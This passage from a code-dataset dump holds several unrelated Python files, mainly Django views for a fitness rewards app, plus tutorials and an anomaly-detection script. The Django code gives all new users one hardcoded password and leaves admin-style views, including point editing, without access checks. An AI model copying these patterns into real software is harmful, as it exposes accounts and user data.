messages.success(request,'User inactivity email notification period set successfully')\n return redirect('user_inactivity')\n return render(request,'account/user_inactivity.html',{'form':form})\n\n\ndef rewards_notification(request):\n try:\n milestones = RewardsNotification.objects.latest()\n set_point1 = milestones.Rewards_milestone_1\n set_point2 = milestones.Rewards_milestone_2\n set_point3 = milestones.Rewards_milestone_3\n set_point4 = milestones.Rewards_milestone_4\n except RewardsNotification.DoesNotExist:\n set_point1 = 25\n set_point2 = 50\n set_point3 = 75\n set_point4 = 100\n\n if request.method == 'GET':\n form = RewardsNotificationForm(initial={'Rewards_milestone_1':set_point1,'Rewards_milestone_2':set_point2,'Rewards_milestone_3':set_point3,'Rewards_milestone_4':set_point4})\n else:\n form = RewardsNotificationForm(request.POST,initial={'Rewards_milestone_1':set_point1,'Rewards_milestone_2':set_point2,'Rewards_milestone_3':set_point3,'Rewards_milestone_4':set_point4})\n if form.is_valid():\n Rewards_milestone_1 = form.cleaned_data['Rewards_milestone_1']\n Rewards_milestone_2 = form.cleaned_data['Rewards_milestone_2']\n Rewards_milestone_3 = form.cleaned_data['Rewards_milestone_3']\n Rewards_milestone_4 = form.cleaned_data['Rewards_milestone_4']\n rewards_notification_data = RewardsNotification(Rewards_milestone_1=Rewards_milestone_1,Rewards_milestone_2=Rewards_milestone_2,Rewards_milestone_3=Rewards_milestone_3,Rewards_milestone_4=Rewards_milestone_4)\n rewards_notification_data.save()\n messages.success(request,'Rewards email notification milestones set successfully')\n return render(request,'account/rewards_notification.html',{'form':form})\n return render(request,'account/rewards_notification.html',{'form':form})\n\ndef manage_points(request):\n if request.method == 'GET':\n form = ManagePointForm()\n return render(request, \"account/managepoints.html\", {'form': form})\n else:\n form = ManagePointForm()\n list = request.POST.getlist('checks[]')\n users = []\n for email in list:\n user1 = User.objects.get(username=email)\n users.append(user1)\n return render(request, \"account/managepoints.html\", {'form': form, 'users': users, 'to_list': list})\n\ndef update_points(request):\n if request.method == 'GET':\n form = ManagePointForm()\n return render(request, \"account/managepoints.html\", {'form': form})\n else:\n form = ManagePointForm(request.POST)\n if form.is_valid():\n list = request.POST.get('to_list')\n new = list.replace('[','').replace(']','').replace(\"'\",'')\n result = [x.strip() for x in new.split(',')]\n manage_points = form.cleaned_data['manage_points']\n added_points = int(manage_points)\n users = []\n for user_email in result:\n user = User.objects.get(username=user_email)\n users.append(user.email)\n point = user.profile.points\n point += added_points\n user.profile.points = point\n user.profile.save()\n messages.success(request, f'{added_points} points has been updated to {users}')\n return redirect('users')\n\n\ndef parameters_form(request):\n if request.method == \"POST\":\n form = ParametersForm(request.POST)\n if form.is_valid():\n rows = Parameters.objects.filter(current_values=True)\n rows.update(current_values=False)\n post = form.save(commit=False)\n post.save()\n else:\n # Check if Parameters is populated. If not, add default row.\n if Parameters.objects.filter(current_values=True).count() == 0:\n parameters = Parameters()\n parameters.physical_days_to_done = 1\n parameters.nutrition_days_to_done = 1\n parameters.rewards_active = False\n parameters.current_values = True\n parameters.save()\n settings = Parameters.objects.get(current_values=True)\n pdtd = settings.physical_days_to_done\n ndtd = settings.nutrition_days_to_done\n ra = settings.rewards_active\n\n form = ParametersForm(\n initial={'physical_days_to_done': pdtd,\n 'nutrition_days_to_done': ndtd,\n 'rewards_active': ra}\n )\n return render(request, 'account/parameters_edit.html', {'form': form})\n\n@login_required\ndef cloneprogram(request):\n if request.method == \"POST\":\n form = ProgramClone(request.POST)\n if form.is_valid():\n user = request.user\n new_start_date = str(form.cleaned_data['new_start_date'])\n program_to_clone = form.cleaned_data['program_to_clone']\n new_program = form.clean()['new_program']\n\n date_fields = new_start_date.split('-')\n new_start_datetime = datetime.datetime(int(date_fields[0]), int(date_fields[1]), int(date_fields[2]), tzinfo=tzlocal.get_localzone())\n new_program_slug = '-'.join(new_program.lower().split(' '))\n\n if Page.objects.filter(slug=new_program_slug).count() > 0 \\\n or Page.objects.filter(title=new_program).count() > 0:\n message = \"Error: A program with this name already exists\"\n elif CloneProgramInfo.objects.filter(new_program=new_program, active=True).count() > 0:\n message = \"Error: This program is already scheduled for setup\"\n else:\n new_program_info = CloneProgramInfo()\n new_program_info.program_to_clone = program_to_clone\n new_program_info.new_program = new_program\n new_program_info.new_start_date = new_start_datetime\n new_program_info.active = True\n new_program_info.user = user\n new_program_info.save()\n message = 'Your program is being created. This will take several minutes. You will receive an email when the process is complete.'\n\n return render(request, 'account/cloneprogram.html', {'form': form, 'message': message})\n else:\n message = 'Error: Invalid data'\n return render(request, 'account/cloneprogram.html', {'form': form, 'message': message})\n else:\n form = ProgramClone()\n return render(request, 'account/cloneprogram.html', {'form': form})\n\n@login_required\ndef analytics(request):\n return render(request, 'account/analytics_home.html', {})\n\n@login_required\ndef export_data(request):\n if request.method == 'POST':\n\n response = HttpResponse(content_type='text/csv')\n post_data = request.POST\n export_type = post_data['export_type']\n\n if export_type == 'useractivity':\n response['Content-Disposition'] = 'attachment; filename=\"useractivity.csv\"'\n rows = list(UserActivity.objects.all())\n writer = csv.writer(response)\n\n writer.writerow(['User', 'Program', 'Activity',\n 'Week Number', 'Day of Week',\n 'Points Earned', 'Date'])\n for row in rows:\n user = User.objects.get(id=row.user_id)\n name = user.first_name + \" \" + user.last_name\n try:\n program = Program.objects.get(id=row.program_id).program_name\n except exceptions.ObjectDoesNotExist:\n program = \"\"\n\n writer_row = [name, program,\n row.Activity, row.Week,\n row.DayOfWeek, row.points_earned,\n row.creation_date]\n writer.writerow(writer_row)\n\n elif export_type == 'preassessment':\n response['Content-Disposition'] = 'attachment; filename=\"pre-assessment.csv\"'\n try:\n assesssment_page_id = Page.objects.filter(slug__contains=\"pre-assessment\").first().id\n rows = list(CustomFormSubmission.objects.filter(page_id=assesssment_page_id))\n except AttributeError:\n rows = list()\n\n if len(rows) > 0:\n writer = csv.writer(response)\n header_data = ['User']\n #writer.writerow(['User', 'Pre-assessment Data', 'Submission Time'])\n\n #for row in rows:\n question_data = json.loads(rows[0].form_data)\n for key in question_data:\n header_data.append(str(key))\n\n header_data.append('Submission Time')\n writer.writerow(header_data)\n\n for row in rows:\n row_data = list()\n user = User.objects.get(id=row.user_id)\n name = user.first_name + \" \" + user.last_name\n row_data.append(name)\n question_data = json.loads(row.form_data)\n for key in question_data:\n row_data.append(str(question_data[key]))\n row_data.append(row.submit_time.date())\n writer.writerow(row_data)\n else:\n response = HttpResponse(content_type='text/html', content=\"No data\")\n elif export_type == 'postassessment':\n response['Content-Disposition'] = 'attachment; filename=\"post-assessment.csv\"'\n try:\n assesssment_page_id = Page.objects.filter(slug__contains=\"post-assessment\").first().id\n rows = list(CustomFormSubmission.objects.filter(page_id=assesssment_page_id))\n except AttributeError:\n rows = list()\n\n if len(rows) > 0:\n writer = csv.writer(response)\n header_data = ['User']\n # writer.writerow(['User', 'Pre-assessment Data', 'Submission Time'])\n\n # for row in rows:\n question_data = json.loads(rows[0].form_data)\n for key in question_data:\n header_data.append(str(key))\n\n header_data.append('Submission Time')\n writer.writerow(header_data)\n\n for row in rows:\n row_data = list()\n user = User.objects.get(id=row.user_id)\n name = user.first_name + \" \" + user.last_name\n row_data.append(name)\n question_data = json.loads(row.form_data)\n for key in question_data:\n row_data.append(str(question_data[key]))\n row_data.append(row.submit_time.date())\n writer.writerow(row_data)\n else:\n response = HttpResponse(content_type='text/html', content=\"No data\")\n else:\n response = HttpResponse(content_type='text/html', content=\"Invalid Request\")\n return response\n else:\n return HttpResponse('Invalid request')\n\n@login_required\ndef rewards_redeem(request, pk):\n if request.method == \"GET\":\n #data = ServicePostPage.objects.get(page_ptr_id=10)\n return render(request, 'rewards/reward_confirmation.html')\n else:\n item = RewardItem.objects.get(id=pk)\n points = item.points_needed\n service = item.item\n point = int(points)\n item.qty_available -= 1\n item.save()\n user1 = User.objects.get(username=request.user.username)\n if user1.profile.points < point:\n print('cannot redeem')\n else:\n user1.profile.points = 0\n user1.profile.save()\n points_available = user1.profile.points\n rewards = Reward.objects.create(user=user1, points_redeemed=points, service_used=service)\n reward_number = rewards.reward_no\n subject = 'Confirmation Rewards Redeemed - Redemption No.'.format(rewards.reward_no)\n messages = 'Check the PDF attachment for your redemption number'\n from_email = 'capstone18FA@gmail.com'\n email = EmailMessage(subject, messages, from_email, [user1.email])\n #genarate PDF\n html = render_to_string('rewards/pdf.html',{'point': point, 'service': service,\n 'points_available': points_available,\n 'reward_number': reward_number})\n out = BytesIO()\n stylesheets = [weasyprint.CSS('https://s3.us-east-2.amazonaws.com/django-fitgirl/static/css/pdf.css')]\n weasyprint.HTML(string=html).write_pdf(out,stylesheets=stylesheets)\n email.attach('Redemption No. {}'.format(rewards.reward_no), out.getvalue(), 'application/pdf')\n email.send()\n return render(request, 'rewards/reward_confirmation.html', {'point': point, 'service': service,\n 'points_available': points_available,\n 'reward_number': reward_number})\n\n@login_required\ndef viewRewards(request):\n rewards = Reward.objects.all()\n user = User.objects.get(username=request.user.username)\n return render(request, 'rewards/viewRewards.html', {'rewards' : rewards, 'user': user})\n\n\n@login_required\ndef Analytics_Dashboard(request):\n data = UserActivity.objects.all()\n jsondata = serializers.serialize('json', data, fields=('program', 'user', 'activity', 'week', 'day', 'points_earned'))\n return render(request,\n 'account/Analytics_Dashboard.html',\n {'section': 'Analytics_Dashboard', 'jsondata':jsondata})\n# analytics dashboard ends- srishty#\n\ndef send_message(request):\n if request.method == 'POST':\n message = request.POST.get(\"message\")\n to = request.POST.get(\"user\")\n print(to)\n # to = 'one@gmail.com'\n from_user = request.user.username\n KindnessMessage.objects.create(body=message, from_user=from_user, to_user=to)\n user = User.objects.get(username=to)\n name = user.first_name + user.last_name\n messages.success(request, f'Message sent to: {name}')\n return redirect('pages/kindness-card', {'section': 'send_message'})\n # return render(request, 'week/kindness_card_page.html', {'section': 'send_message', 'page': page})\n\ndef inbox(request):\n if request.method == 'GET':\n all_messages = KindnessMessage.objects.filter(to_user=request.user.username).order_by('-message_id')\n unread_messages = all_messages.filter(read_message=False)\n # user = User.objects.get(email=request.user.email)\n # unread_message = KindnessMessage.objects.filter(to_user=user).filter(read_message=False)\n dict_all = {}\n dict_unread = {}\n for message in unread_messages:\n username = User.objects.get(username=message.from_user)\n name = username.first_name + \" \" + username.last_name\n try:\n dict_unread[name].append(message.body)\n except KeyError:\n dict_unread[name] = [message.body]\n for message in all_messages:\n username = User.objects.get(username=message.from_user)\n try:\n photo = username.profile.photo.url\n except:\n photo = ''\n name = username.first_name + \" \" + username.last_name\n try:\n dict_all[name]['messages'].append(message.body)\n except KeyError:\n dict_all[name] = {'messages': [message.body], 'photo': photo}\n print(dict_all[name]['messages'])\n print(dict_all)\n return render(request, 'kindnessCards/new.html', {'messages': messages, 'all': dict_all, 'unread': dict_unread})\n\ndef mark_read(request):\n if request.method == 'GET':\n print('inside mark_read')\n\n all_messages = KindnessMessage.objects.filter(to_user=request.user.username)\n unread_messages = all_messages.filter(read_message=False)\n dict_all = {}\n dict_unread = {}\n for test_message in unread_messages:\n username = User.objects.get(username=test_message.from_user)\n name = username.first_name + \" \" + username.last_name\n # message.read_message = True\n try:\n dict_unread[name].append(test_message.body)\n except KeyError:\n dict_unread[name] = [test_message.body]\n for message in all_messages:\n username = User.objects.get(username=message.from_user)\n name = username.first_name + \" \" + username.last_name\n message.read_message = True\n message.save()\n try:\n dict_all[name].append(message.body)\n except KeyError:\n dict_all[name] = [message.body]\n print(dict_unread)\n return redirect('/inbox/')\n # return render(request,\n # 'kindnessCards/new.html',\n # {'messages': messages, 'all': dict_all, 'unread': dict_unread})\n\n# def inbox_unread(request):\n# if request.method == 'GET':\n# # user = User.objects.get(email=request.user.email)\n# # unread_message = KindnessMessage.objects.filter(to_user=user).filter(read_message=False)\n# # from_users = KindnessMessage.objects.filter(to_user=user).filter(read_message=False).values('from_user')\n# # print(from_users)\n# # print(unread_message)\n# #from_users = KindnessMessage.objects.filter(from_user=)\n# #print(from_users)\n# messages = KindnessMessage.objects.filter(to_user=request.user.email).filter(read_message=False)\n#\n# dict = {}\n# photo = 'Photo'\n# for message in messages:\n# username = User.objects.get(username=message.from_user)\n# name = username.first_name + \" \" + username.last_name\n# picture = username.profile.photo.url\n# #print(username.profile.photo.url)\n# try:\n# dict[name].append(message.body)\n# dict['photo'].append(picture)\n# except KeyError:\n# dict[name] = [message.body]\n# dict['photo'] = [picture]\n# #print(dict)\n# #return render(request,'kindnessCards/old.html',{'messages':messages,'inbox':dict,'picture':picture})\n# print(dict)\n# return render(request,'kindnessCards/old.html',{'messages':messages, 'inbox':dict})\n#\n\n@login_required()\ndef edit_user(request,pk):\n user = get_object_or_404(User, pk= pk)\n print(user)\n #user1 = get_object_or_404(Profile, profile.user_id )\n user1 = Profile.objects.filter(user_id=pk).first()\n\n\n if request.method == 'POST':\n # update\n form = UserEditForm(instance=user,data=request.POST,files=request.FILES)\n form1 = ProfileEditForm(instance=user1,data=request.POST,files=request.FILES, user=user)\n\n if form1.is_valid() and form.is_valid():\n #user1.profile.photo = ProfileEditForm.cleaned_data['photo']\n user = form.save(commit=False)\n user1 = form1.save(commit=False)\n user1.photo = form1.cleaned_data['photo']\n print(user1.photo)\n user.save()\n user1.save()\n\n messages.success(request, 'Profile updated successfully')\n return redirect('users')\n\n else:\n messages.warning(request, 'Please correct the errors below!')\n else:\n # edit\n form = UserEditForm(instance=user)\n form1 = ProfileEditForm(instance=user1, user=user)\n return render(request, 'account/edit_user.html', {'form1': form1,'form': form,'user1':user1,'user':user})\n return render(request, 'account/edit_user.html', {'form1': form1,'form': form,'user1':user1,'user':user})\n\n\n@login_required\ndef signup(request):\n programs = Program.objects.all()\n if request.method == 'POST':\n sign_form = SignUpForm(data=request.POST)\n\n if sign_form.is_valid():\n\n email = sign_form.cleaned_data['email']\n username = email\n first_name = sign_form.cleaned_data['first_name']\n last_name = sign_form.cleaned_data['last_name']\n password = 'stayfit2019'\n\n selected_program = get_object_or_404(Program, pk=request.POST.get('programs'))\n\n theUser = User(username= username, email= email, first_name= first_name,\n last_name=last_name )\n theUser.set_password('stayfit2019')\n theUser.save()\n\n profile = Profile.objects.create(user=theUser,\n program=selected_program)\n profile.save()\n\n messages.success(request, f'{theUser.first_name} {theUser.last_name} has been added successfully!')\n form = PasswordResetForm({'email': theUser.email})\n if form.is_valid():\n request = HttpRequest()\n request.META['SERVER_NAME'] = 'www.empoweruomaha.com'\n request.META['SERVER_PORT'] = '80'\n form.save(\n request=request,\n from_email=settings.EMAIL_HOST_USER,\n subject_template_name='registration/new_user_subject.txt',\n email_template_name='registration/password_reset_newuser_email.html')\n return redirect('/account/users/')\n\n else:\n\n sign_form = SignUpForm()\n\n return render(request, 'account/signupusers.html', {'sign_form': sign_form, 'programs': programs})\n\n\n@login_required\ndef reward_category(request):\n if request.user.is_staff:\n if request.method == 'POST':\n form = RewardCategoryForm(data=request.POST, files=request.FILES)\n if form.is_valid():\n form.save()\n cd = form.cleaned_data\n category_name = cd['category']\n messages.success(request, f'{category_name} category added')\n return HttpResponseRedirect('/reward_category')\n elif request.POST.get('category_id'):\n category_id = int(request.POST.get('category_id'))\n category = RewardCategory.objects.get(id=category_id)\n category_name = category.category\n RewardCategory.objects.filter(id=category_id).delete()\n messages.success(request, f'{category_name} category deleted')\n return HttpResponseRedirect('/reward_category')\n else:\n return HttpResponse(\"Error processing request\")\n else:\n form = RewardCategoryForm()\n return render(request, \"rewards/reward_categories.html\", {'form': form, 'MEDIA_URL': settings.MEDIA_URL})\n else:\n return HttpResponseForbidden(request)\n\n@login_required\ndef reward_category_edit(request, pk):\n category = get_object_or_404(RewardCategory, id=pk)\n if request.user.is_staff:\n if request.method == 'POST':\n form = RewardCategoryForm(instance=category, data=request.POST, files=request.FILES)\n if form.is_valid():\n form.save()\n cd = form.cleaned_data\n category_name = cd['category']\n messages.success(request, f'{category_name} category updated')\n return HttpResponseRedirect('/reward_category')\n else:\n return HttpResponse(\"Error processing request\")\n else:\n form = RewardCategoryForm(instance=category)\n return render(request, \"rewards/reward_category_edit.html\", {'form': form})\n else:\n return HttpResponseForbidden(request)\n\n@login_required\ndef reward_item(request):\n if request.user.is_staff:\n if request.method == 'POST':\n form = RewardItemForm(data=request.POST, files=request.FILES)\n if form.is_valid():\n form.save()\n cd = form.cleaned_data\n item_name = cd['item']\n messages.success(request, f'{item_name} item added')\n return HttpResponseRedirect('/reward_item')\n elif request.POST.get('item_id'):\n item_id = int(request.POST.get('item_id'))\n item = RewardItem.objects.get(id=item_id)\n item_name = item.item\n RewardItem.objects.filter(id=item_id).delete()\n messages.success(request, f'{item_name} item deleted')\n return HttpResponseRedirect('/reward_item')\n else:\n return HttpResponse(\"Error processing request\")\n else:\n form = RewardItemForm()\n return render(request, \"rewards/reward_items.html\", {'form': form, 'MEDIA_URL': settings.MEDIA_URL})\n else:\n return HttpResponseForbidden(request)\n\n@login_required\ndef reward_item_edit(request, pk):\n item = get_object_or_404(RewardItem, id=pk)\n if request.user.is_staff:\n if request.method == 'POST':\n form = RewardItemForm(instance=item, data=request.POST, files=request.FILES)\n if form.is_valid():\n form.save()\n cd = form.cleaned_data\n item_name = cd['item']\n messages.success(request, f'{item_name} item updated')\n return HttpResponseRedirect('/reward_item')\n else:\n return HttpResponse(\"Error processing request\")\n else:\n form = RewardItemForm(instance=item)\n return render(request, \"rewards/reward_items.html\", {'form': form})\n else:\n return HttpResponseForbidden(request)\n\n@login_required\ndef add_school(request):\n addschool = Schools.objects.all()\n if request.method == 'POST':\n form = SchoolsForm(request.POST)\n if form.is_valid():\n schools = form.save(commit=False)\n schools.save()\n messages.success(request, 'School added successfully')\n return redirect('add_school')\n else:\n messages.error(request, 'Error creating school. Retry!')\n # return HttpResponse('Error updating your profile!')\n else:\n form = SchoolsForm()\n # print(\"Else\")\n # profile_form = ProfileEditForm(instance=request.user.profile)\n return render(request,\n 'account/add_school.html',\n {'section': 'add_school', 'form': form, 'addschool': addschool})\n","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":56012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"199182225","text":"#!/usr/bin/python\nclass Employee:\n \"documentaion for Employee class\"\n\n empCount = 0\n def __init__ (self, name, salary):\n self.name = name\n self.salary = salary\n Employee.empCount += 1\n def displayCount(self):\n print(\"Total Number of employee: %d\"%Employee.empCount)\n def displayEmployee(self):\n print(\"Employee Name: %s\\nSalary: %d\\n\"%(self.name,self.salary))\n def __del__(self):\n class_name = self.__class__.__name__\n print (class_name, \"destroyed\")\n\nemp1=Employee(\"rohan\",1000)\nemp2=Employee(\"goli\",1500)\n\nemp1.name\nemp2.salary\n\nemp2.displayCount()\nemp2.displayEmployee()\n\n#hasattr(emp1, 'age') # Returns true if 'age' attribute exists\n#getattr(emp1, 'name') # Returns value of 'age' attribute\n#setattr(emp1, 'salary', 8) # Set attribute 'age' at 8\n#delattr(empl, 'salary') # Delete attribute 'age'\n\n#emp1.displayEmployee()\n\n\nprint (\"Employee.__doc__:\", Employee.__doc__)\nprint (\"Employee.__name__:\", Employee.__name__)\nprint (\"Employee.__module__:\", Employee.__module__)\nprint (\"Employee.__bases__:\", Employee.__bases__)\nprint (\"Employee.__dict__:\", Employee.__dict__)\n\nclass TCS(Employee):\n \"Documentation for TCS Employee\"\n\n empCount=0\n def __init__(self):\n print(\"Calling TCS Class\")\n \n","sub_path":"OOPS-Classes/CreatingClassEmployee.py","file_name":"CreatingClassEmployee.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"235634282","text":"import os as _os\non_rtd = _os.environ.get('READTHEDOCS', None) == 'True'\nif not on_rtd:\n import numpy as _np\n\n\ndef chisquare(observe, expect, error, ddof, verbose=True):\n \"\"\"\n Finds the reduced chi square difference of *observe* and *expect* with a given *error* and *ddof* degrees of freedom.\n\n *verbose* flag determines if the reduced chi square is printed to the terminal. \n \"\"\"\n chisq = 0\n error = error.flatten()\n observe = observe.flatten()\n expect = expect.flatten()\n for i, el in enumerate(observe):\n chisq = chisq + _np.power((el - expect[i]) / error[i], 2)\n\n red_chisq = chisq / (len(observe) - ddof)\n if verbose:\n # print 'Chi-Squared is {}.'.format(chisq)\n print('Reduced Chi-Squared is {}.'.format(red_chisq))\n\n return red_chisq\n","sub_path":"scisalt/scipy/chisquare.py","file_name":"chisquare.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"641629892","text":"\nimport cv2\nfrom PIL import Image\nfrom matplotlib import cm\nimport torchsummary\nimport imageio\nfrom pathlib import Path\nimport random\nfrom random import sample\nimport argparse\nimport numpy as np\nimport os\nimport pickle\nfrom tqdm import tqdm\nfrom collections import OrderedDict\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.covariance import LedoitWolf\nfrom scipy.spatial.distance import mahalanobis\nfrom scipy.ndimage import gaussian_filter\nfrom skimage import morphology\nfrom skimage.segmentation import mark_boundaries\n\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nfrom torchvision.models import wide_resnet50_2, resnet18, resnet34\nimport datasets.mvtec as mvtec\n\n\n# device setup\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device('cuda' if use_cuda else 'cpu')\nresize = 512\n\n\ndef parse_args():\n parser = argparse.ArgumentParser('PaDiM')\n parser.add_argument('--data_path', type=str, default='D:/dataset/mvtec_anomaly_detection')\n parser.add_argument('--save_path', type=str, default='./mvtec_result')\n parser.add_argument('--arch', type=str, choices=['resnet18', 'wide_resnet50_2', 'resnet34', 'resnet50'], default='resnet34')\n return parser.parse_args()\n\n\ndef main():\n\n args = parse_args()\n\n # load model\n if args.arch == 'resnet18':\n model = resnet18(pretrained=True, progress=True)\n t_d = 448\n d = 100\n elif args.arch == 'wide_resnet50_2':\n model = wide_resnet50_2(pretrained=True, progress=True)\n # torchsummary.summary(model, (3, 512, 512), device='cpu')\n t_d = 1792\n d = 550\n elif args.arch == 'resnet34':\n model = resnet34(pretrained=True, progress=True)\n t_d = 256\n d = 100\n\n model.to(device)\n model.eval()\n\n # random.seed(1024)\n # torch.manual_seed(1024)\n # if use_cuda:\n # torch.cuda.manual_seed_all(1024)\n\n idx = torch.tensor(sample(range(0, t_d), d))\n\n # set model's intermediate outputs\n outputs = []\n\n def hook(module, input, output):\n outputs.append(output)\n\n model.layer1[-1].register_forward_hook(hook)\n model.layer2[-1].register_forward_hook(hook)\n model.layer3[-1].register_forward_hook(hook)\n\n # files = Path('/tmp/garbage/').glob('*.jpg')\n # folder = '/home/daniele/Desktop/experiments/2021-01-28.PlaygroundDatasets/lego_00/data/'\n\n for j in range(100):\n preds = []\n for i in [1, 2, 3, 4, 5, 6]:\n # for i in [7, 8, 9, 10, 11, 12]:\n tmp = '/home/daniele/Desktop/experiments/2021-01-28.PlaygroundDatasets/lego_00/data/{}_image.jpg'\n\n x = load_image(tmp.format(str(j * 13 + i).zfill(5)))\n embedding_vectors = compute_embeddings(x, model, outputs)\n print(embedding_vectors.shape)\n preds.append(embedding_vectors)\n\n preds = torch.cat(preds)\n print(preds.shape)\n B, C, H, W = preds.size()\n preds = preds.view(B, C, H * W)\n print(\"1\", preds.shape)\n v = torch.var(preds, dim=0)\n print(\"2\", v.shape)\n v = v.view(C, H, W).mean(dim=0)\n print(v.shape)\n # diff = torch.nn.functional.l1_loss(embedding_vectors_0, embedding_vectors_1, reduction='none').mean(dim=1).squeeze(0)\n\n diff = v.detach().cpu().numpy()\n print(v.min(), v.max())\n diff = (diff - diff.min()) / (diff.max() - diff.min())\n diff = cv2.resize(diff, (resize, resize))\n cv2.namedWindow(\"diff\", cv2.WINDOW_NORMAL)\n cv2.imshow(\"diff\", diff)\n if ord('q') == cv2.waitKey(0):\n import sys\n sys.exit(0)\n\n\ndef load_image(path):\n image = Image.open(path)\n image = image.resize([resize, resize])\n image = np.array(image) / 255.\n x = torch.Tensor(image).permute(2, 0, 1).unsqueeze(0)\n return x\n\n\ndef compute_embeddings(x, model, outputs):\n outputs.clear()\n train_outputs = OrderedDict([('layer1', []), ('layer2', []), ('layer3', [])])\n with torch.no_grad():\n _ = model(x.to(device))\n # get intermediate layer outputs\n for k, v in zip(train_outputs.keys(), outputs):\n train_outputs[k].append(v.cpu().detach())\n\n for k, v in train_outputs.items():\n train_outputs[k] = torch.cat(v, 0)\n\n embedding_vectors = train_outputs['layer1']\n # for layer_name in ['layer2', 'layer3']:\n # embedding_vectors = embedding_concat(embedding_vectors, train_outputs[layer_name])\n return embedding_vectors\n\n\ndef apply_colormap(img, cmap='magma', normed: bool = False):\n \"\"\" Applies colormap to image [HxWx3] as uint8\n\n :param img: image [HxWx3] as uint8\n :type img: np.ndarray\n :param cmap: matplotlib colormap, defaults to 'magma'\n :type cmap: str, optional\n \"\"\"\n\n img = img.astype(float) / 255.\n my_cm = cm.get_cmap('magma')\n if normed:\n normed_data = (img - np.min(img)) / (np.max(img) - np.min(img))\n else:\n normed_data = img\n img = my_cm(normed_data)\n img = (img * 255.).astype(np.uint8)\n import cv2\n img = cv2.medianBlur(img, 25)\n return img\n\n\ndef plot_fig(test_img, scores, gts, threshold, save_dir, class_name):\n num = len(scores)\n vmax = scores.max() * 255.\n vmin = scores.min() * 255.\n for i in range(num):\n img = test_img[i]\n img = denormalization(img)\n gt = gts[i].transpose(1, 2, 0).squeeze()\n heat_map = scores[i] * 255\n mask = scores[i]\n mask[mask > threshold] = 1\n mask[mask <= threshold] = 0\n kernel = morphology.disk(4)\n mask = morphology.opening(mask, kernel)\n mask *= 255\n vis_img = mark_boundaries(img, mask, color=(1, 0, 0), mode='thick')\n fig_img, ax_img = plt.subplots(1, 5, figsize=(12, 3))\n fig_img.subplots_adjust(right=0.9)\n norm = matplotlib.colors.Normalize(vmin=vmin, vmax=vmax)\n for ax_i in ax_img:\n ax_i.axes.xaxis.set_visible(False)\n ax_i.axes.yaxis.set_visible(False)\n\n out_img = Path(save_dir) / f'{str(i).zfill(5)}_image.png'\n out_heat = Path(save_dir) / f'{str(i).zfill(5)}_heatmap.png'\n out_heatc = Path(save_dir) / f'{str(i).zfill(5)}_heatmapc.png'\n out_mask = Path(save_dir) / f'{str(i).zfill(5)}_mask.png'\n out_vis = Path(save_dir) / f'{str(i).zfill(5)}_vis.png'\n\n heat_mapc = apply_colormap(heat_map)\n\n [imageio.imwrite(x, y) for x, y in zip(\n [out_img, out_heat, out_heatc, out_mask, out_vis],\n [img, heat_map, heat_mapc, mask * 255, vis_img]\n )]\n\n print(\"OUT\", img.shape, heat_map.shape, mask.shape)\n ax_img[0].imshow(img)\n ax_img[0].title.set_text('Image')\n ax_img[1].imshow(gt, cmap='gray')\n ax_img[1].title.set_text('GroundTruth')\n ax = ax_img[2].imshow(heat_map, cmap='jet', norm=norm)\n ax_img[2].imshow(img, cmap='gray', interpolation='none')\n ax_img[2].imshow(heat_map, cmap='jet', alpha=0.5, interpolation='none')\n ax_img[2].title.set_text('Predicted heat map')\n ax_img[3].imshow(mask, cmap='gray')\n ax_img[3].title.set_text('Predicted mask')\n ax_img[4].imshow(vis_img)\n ax_img[4].title.set_text('Segmentation result')\n left = 0.92\n bottom = 0.15\n width = 0.015\n height = 1 - 2 * bottom\n rect = [left, bottom, width, height]\n cbar_ax = fig_img.add_axes(rect)\n cb = plt.colorbar(ax, shrink=0.6, cax=cbar_ax, fraction=0.046)\n cb.ax.tick_params(labelsize=8)\n font = {\n 'family': 'serif',\n 'color': 'black',\n 'weight': 'normal',\n 'size': 8,\n }\n cb.set_label('Anomaly Score', fontdict=font)\n\n # fig_img.savefig(os.path.join(save_dir, class_name + '_{}'.format(i)), dpi=100)\n plt.close()\n\n\ndef denormalization(x):\n mean = np.array([0.485, 0.456, 0.406])\n std = np.array([0.229, 0.224, 0.225])\n x = (((x.transpose(1, 2, 0) * std) + mean) * 255.).astype(np.uint8)\n\n return x\n\n\ndef embedding_concat(x, y):\n B, C1, H1, W1 = x.size()\n _, C2, H2, W2 = y.size()\n s = int(H1 / H2)\n x = F.unfold(x, kernel_size=s, dilation=1, stride=s)\n x = x.view(B, C1, -1, H2, W2)\n z = torch.zeros(B, C1 + C2, x.size(2), H2, W2)\n for i in range(x.size(2)):\n z[:, :, i, :, :] = torch.cat((x[:, :, i, :, :], y), 1)\n z = z.view(B, -1, H2 * W2)\n z = F.fold(z, kernel_size=s, output_size=(H1, W1), stride=s)\n\n return z\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"garbage.py","file_name":"garbage.py","file_ext":"py","file_size_in_byte":8564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"352842214","text":"from django.core.management.base import BaseCommand\nfrom oulli.facilities.models import Facility\n\nclass Command(BaseCommand):\n def handle(self, *args, **kwargs):\n Facility.objects.all().delete()\n f = []\n for _ in range(6):\n f.append(Facility())\n Facility.objects.bulk_create(f)","sub_path":"oulli/facilities/management/commands/create_facilities.py","file_name":"create_facilities.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"410720114","text":"class Solution:\n def maxSubArray(self,A):\n maxsub, sub = A[0],A[0]\n for item in A[1:]:\n if(sub<0):\n sub = item\n else:\n sub += item\n maxsub = max(maxsub,sub)\n return maxsub","sub_path":"maxSubArray.py","file_name":"maxSubArray.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"68076513","text":"'''\r\nTraining a basic RNN on Quandl's WIKI EOD pricing, 